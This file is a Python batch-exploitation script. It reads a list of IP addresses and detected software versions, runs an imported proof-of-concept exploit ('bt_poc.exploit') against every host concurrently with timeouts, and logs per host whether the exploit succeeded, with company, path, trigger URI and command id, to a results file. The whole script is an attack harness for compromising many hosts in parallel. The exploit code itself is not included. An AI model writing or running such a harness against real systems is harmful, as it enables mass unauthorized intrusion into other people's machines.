import asyncio, sys
import bt_poc as B

rows = []
for line in open('bt_versions.tsv'):
    parts = line.rstrip('\n').split('\t')
    if len(parts) >= 2 and parts[1] not in ('-', ''):
        rows.append((parts[0], parts[1]))

out = open('bt_results.tsv', 'w')
lock = asyncio.Lock()
sem = asyncio.Semaphore(int(sys.argv[1]) if len(sys.argv) > 1 else 5)


async def one(ip, ver):
    async with sem:
        try:
            res = await asyncio.wait_for(B.exploit(ip, None), 100)
            rec = [ip, ver, 'OK' if res.get('ok') else 'NO',
                   str(res.get('company') or ''), str(res.get('path') or ''),
                   (res.get('trigger') or {}).get('uri', ''),
                   str(res.get('cmd_id') or '').replace('\t', ' ')[:120]]
        except Exception as exc:
            rec = [ip, ver, 'FAIL', '', '', '', ('%s: %s' % (type(exc).__name__, exc))[:140]]
        async with lock:
            out.write('\t'.join(rec) + '\n')
            out.flush()
            print(' '.join(rec[:3]) + ' ' + rec[6], flush=True)


async def main():
    await asyncio.gather(*[one(ip, ver) for ip, ver in rows])
    out.close()
    print('BATCH DONE', len(rows), flush=True)

asyncio.run(main())
